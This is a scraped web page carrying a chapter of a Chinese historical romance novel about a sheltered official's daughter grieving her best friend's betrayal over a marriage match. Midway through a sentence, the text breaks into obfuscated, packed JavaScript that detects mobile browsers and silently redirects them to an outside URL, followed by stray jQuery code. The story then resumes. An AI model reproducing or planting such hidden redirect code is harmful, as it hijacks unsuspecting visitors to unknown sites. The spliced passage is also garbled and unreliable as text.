今日已是成敏闷在家中拒绝出门的第十日了。
虽然她今天依然没什么食欲,但害怕惹得爹娘为她担忧,她还是如往常一般准时出现在家中正厅。
同前些日子一样,成敏食之无味地陪爹娘用过了今日的晚饭,然后礼数周全地同他们告辞。
不过一转身,她的眉眼嘴角便都立刻沮丧地下垂着,闷闷不乐地往自己闺房走去。
如今已进了秋日时节,成府满院的树叶尽是枯黄,微微一阵轻风吹过,便能带下一大片黄叶飘摇着往下坠。
这些落叶纷纷坠落在成敏的身前、身后,甚至连她的头顶也沾上了一片,巧合地插进了她的发鬓缝隙里,只是她还是一副毫无所觉的样子。
不过以她此时的心境,就算是感知到了,也都没心思去理会那片枯叶子。
在成敏身后步步紧跟的贴身丫鬟青荷倒是注意到了,只是青荷知道自家小姐最近心情不好,这会儿又是在府里,也不怕别人瞧见了丢了小姐的脸面。
青荷便也没刻意去拉住小姐非得拿下那片树叶不可,只在心里默默想着,待会回到了小姐房中,等小姐坐下了,自己再悄悄拿下来扔了便是。
成翊和江明珠望着小女儿走在院中的背影,这会儿本就是傍晚黄昏之时,太阳西垂,光线暗沉,小女儿的背影在片片枯黄落叶的衬托下更是显得萧瑟无比。
夫妻二人齐齐叹了口气,对视一眼,还是成翊先开了口和妻子说道:“夫人,敏儿这般闷在家里更会情绪低落,你想想有什么好玩的去处,带着敏儿出去散散心呢?”
要说去处,那多得很。
江明珠出身京城侯门府邸,她娘家便在京郊有好几处庄子,适合小女儿去玩的便有三处。
一处是温泉庄子,这时节天渐凉,正是去泡温泉养生的好时候。
一处是种果子、花草的,现在菊花开得正盛,秋梨也正成熟,去赏赏花、摘摘果子,活动活动筋骨也不错,还能跟着庄子里的婆子们一块儿酿些菊花酒、秋梨酒,京里的小姑娘们爱饮这些度数不高的花果酒。
还有一处在京郊云隐山的山脚,是江明珠老父在世时置办的。
老侯爷行伍出身,后来卸甲回京城,赋闲后也爱耍刀弄枪,念叨着在城内精致奢华的侯府里住不惯、待不住,便置办了这个庄子,在世时一年得有半数日子都是住在这庄子里。
如今老侯爷已去世十余年了,那庄子也不闲着,江明珠娘家的晚辈们最爱成群结伴的邀着一起去小住些天,日日拎着弓箭上山打猎去。
成家是世代书香府邸,自家敏儿又是个娇养的女儿家,是以没学过弓箭拳脚,但跟着自家表兄们去庄子里瞧瞧热闹、尝尝新鲜的野味也是个不错的消遣。
只是这几日江明珠每每邀小女儿出门,不论她说得多么天花乱坠,舌灿莲花,硬是将几分趣味渲染成了十分,也没引得小女儿动半分心思,只管低头闷声推拒:“娘亲,女儿不想出门。”
听了江明珠的转述,成翊心疼小女儿,眉头皱成了个川字,心中不解得很。
明明先前相看的时候,也没见小女儿对那李修文有多入眼,问她觉得李修文如何,小女儿也只是说那李公子瞧着很是斯文有礼,是个端方君子模样。
本说小女儿既然瞧着李修文不讨厌,那便再接触接触,谁知还没到约着出门的日子呢,李家夫人便带着当初撮合的媒婆一起登门致歉,说李修文已经与人定下了亲事,这相看之事便就此作罢了。
成翊虽生气李家不地道,这未婚男女之间相看,那都是和一家不成了才相看下一家,哪有如李家这般一边和自家女儿相看,一边和别家女儿定亲的。
不过气归气,为了小女儿的名声,成家也不好把此事宣扬开来。
只是一个仅见过一面的男子罢了,成翊心想那李修文虽读书读得不错,但人品如此差劲,没能与小女儿成就婚事许还是好事呢。
谁知成敏听了此事却好似气得狠了,从李家夫人和媒婆走后便闷在家里不再出门。
成翊心中不解,但小女儿年岁渐大,有些话他这个做父亲的却不好与小女儿深聊,便只好催促妻子去劝劝小女儿:“那李家这般不讲信义,这种人家非是良配,错过了不是坏事,敏儿何必与他家生这么大的气,气伤了自己的身体可是做傻事。”
妻子江明珠却说:“你以为敏儿是为了李家小子不甘啊?敏儿瞧着都还没开窍呢,她是气那和李家小子定亲的姑娘,那和李家定亲的肖御史家中只有一个女儿,便是敏儿最亲近的手帕交!”
成翊和江明珠共育有二子二女。
大儿子名成谦、二儿子名成谨,两个儿子俱是三十余岁的年纪了,前些年先后考取了功名,相继携妻带子的去了外地做亲民官,难得回京,三年才见得一回。
两个女儿中大女儿成慧也快三十岁了,早些年便嫁去了江明珠的娘家勇毅侯府,与江明珠的娘家侄儿成婚,已经是做了母亲的人。
如今家中陪伴夫妻二人左右的就剩一个幼女成敏,才十几岁的年纪,自小便生得好看性子又乖,夫妻二人对这幼女最是疼爱不过。
成敏比上头的哥哥姐姐们小了太多,她话还说不清楚的时候,哥哥们都娶妻成家了,虽然嫂嫂们也给她生了几个侄儿、侄女,可侄儿、侄女都随着哥哥嫂嫂们在外地,几年才能得见一回。
姐姐倒是比哥哥们小几岁,未出嫁时在家带着她玩了几年,可后面姐姐嫁了人,初为人母难免手忙脚乱,一时便也顾不上带她玩了。
成敏与肖怡然便相识在她极缺玩伴的八岁那年。
二人同龄,但肖怡然因是家中长女,下面还好几个淘气的弟弟们,所以小小年纪便养出了一副稳重性子,行事十分妥帖。
初遇的宴席上肖怡然一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743655|209169||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼就瞧见了长得漂亮可爱的成敏,她早烦了家里的皮弟弟们,偏她家只她一个女儿,也没个姐妹,便热情地主动凑上来和成敏搭话。
肖怡然只比成敏大一个月,却以姐姐自居,处处照顾着成敏。
后面成敏和肖怡然又在别处的宴会上碰见了两回,关系便亲得不得了,平日里还常常会互相下帖子约着见面。
对一直缺少玩伴的成敏来说,肖怡然既是挚友,也像姐妹,相处了八年的深情厚谊,一朝背叛,如何想得开?
成翊虽在外是个严肃的老先生模样,在家却是个很疼爱孩子的老父亲。
今年春日里他热热闹闹地为幼女操办了及笄礼,便开始精心地替小女儿择起良婿来。
让小女儿和李修文相看前,成翊自己曾多方打听过对方。
那李修文在国子监读书,国子监这地方,那成翊可熟了。
成翊是南方士人之后,成家祖上断断续续的有人科举为官,不过做的大都是些小官,之前家谱之上有记录的官职最高之人是成翊的曾祖,在知府任上致仕。
成翊少时便很擅长读书做学问,在当地州府乃是知名的才子,是以得到了成家上下的倾心栽培,举族之力供他读书替他造势。
他也不负众望,年纪尚轻便考中了进士,名次还在二甲之列,前途可期,十分有望超越他的曾祖。
因年轻才高又姿容俊美,放榜游街时得老侯爷一眼看中,为膝下独女江明珠榜下捉婿,喜结良缘。
成翊当年科举名列二甲前列,又娶得佳妇得了勇毅侯府做靠山,本以为在官场能顺风顺水、平步青云。
谁知成翊会读书做学问,却不擅长为官做实务,外放了两任亲民官都没做出什么成就,政绩平平,自嘲为庸官,干脆托岳父说项调动去教书育人。
这下倒是找准了路数,在教学一道上如鱼得水,一路升官,短短几年便官至国子监司业,作为祭酒大人的得力臂膀,人人都说他许是将来接替祭酒大人的不二人选。
后来先皇立下太子,便将国子监里饱受赞誉的成司业调去为太子师,前些年先皇驾崩,太子登基为帝后册封成翊为太子太傅,官至一品。
不过成翊很清楚自己的能力,虽得新皇信赖,却从不对朝堂大事插手,只专心陪新皇读书。
国子监算是成翊的老家,上到祭酒大人,下到看门的杂役,全都是成翊的熟人,成翊便趁着无事时去国子监细细打听了几番李修文的情况,认为各方面都挺合适,才同意让李家请的媒婆带人上门来相看。
虽都说是高嫁女低娶媳,可成翊本以为那李修文是个品学兼优的好少年,而李家家境虽与成家相比普通了些,但胜在家中人口简单,门风清正。
自家小女儿被养得单纯,若是嫁进高门大户,一是规矩多不得自由,二是后宅必然人多,少不了勾心斗角的事,没人护着要吃亏。